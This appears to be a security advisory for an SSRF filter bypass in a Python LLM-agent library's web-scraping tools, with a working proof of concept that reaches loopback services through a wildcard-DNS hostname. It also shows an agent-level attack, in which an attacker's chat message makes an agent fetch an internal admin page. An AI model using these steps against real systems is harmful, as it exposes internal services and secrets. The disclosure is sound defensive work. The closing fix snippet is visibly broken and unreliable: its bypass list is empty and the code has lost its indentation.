CVE-2026-55526

praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function
_host_is_blocked() validates URLs against a list of blocked IP literals and hostname
aliases, but never performs DNS resolution. Any hostname that resolves to a private or
loopback IP address, including public wildcard DNS services like 127.0.0.1.nip.io ,
bypasses the protection entirely.

This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret")
makes an HTTP request to 127.0.0.1:PORT and returns the internal service response.
No attacker-controlled infrastructure is required.

scrape_page, extract_links, crawl, and extract_text are all registered as
LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed
to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only
rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to
web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not
ported to spider_tools.py.

Details

Root cause, spider_tools.py lines 26-65:

def _host_is_blocked(hostname: str) -> bool:
    host = hostname.lower().rstrip(".")
    # Checks literal aliases only, never resolves
    if host in ("localhost", "0.0.0.0", "::1"):
        return True
    if host in ("169.254.169.254", "metadata.google.internal"):
        return True
    if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
        return True
    # Tries to parse as IP literal only
    try:
        return _ip_blocked(ipaddress.ip_address(host))
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
    except OSError:
        pass
    return False   # <-- ANY real hostname passes without DNS lookup

socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real
hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton()
raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in web_crawl_tools.py line 228-238:

if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
    try:
        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed
        ip = ipaddress.ip_address(ip_str)
        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
            continue  # BLOCKED
    except socket.gaierror:
        continue  # fail-closed

Tool registration confirms this is user-reachable:

# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
    'scrape_page':   ('.spider_tools', None),  # <- user-reachable LLM tool
    'extract_links': ('.spider_tools', None),
    'crawl':         ('.spider_tools', None),
    'extract_text':  ('.spider_tools', None),
    ...
}

Any agent given these tools will call scrape_page(url) when instructed to fetch
a user-supplied URL, including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1, Verify the filter bypass (no network needed):

from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked

# nip.io: public wildcard DNS, 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io"))                        # False, NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/"))      # True , ALLOWED
print(_host_is_blocked("127.0.0.1"))                                # True , correctly blocked

Expected output:

False
True
True

Step 2, Full SSRF: internal service response exfiltrated

import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools

PORT = 19235
received = []

class InternalService(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
        received.append(self.path)
    def log_message(self, *a): pass

threading.Thread(
    target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
    daemon=True
).start()
time.sleep(0.2)

attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True  # passes

# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code)    # 200
print("BODY:  ", r.text)           # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT:   ", received)         # ['/secrets.json']

Observed output:

STATUS: 200
BODY:   {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT:    ['/secrets.json']

Step 3, Agent-level trigger (how a user triggers this in production):

from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page

agent = Agent(
    name="WebResearcher",
    instructions="You are a research assistant. Fetch and summarize the given URL.",
    tools=[scrape_page],
)

# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)

Additional bypass URLs (no setup required):

After existing literal checks, add:

try:
resolved = socket.gethostbyname(hostname)
return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
return True # fail-closed: unresolvable host is blocked
```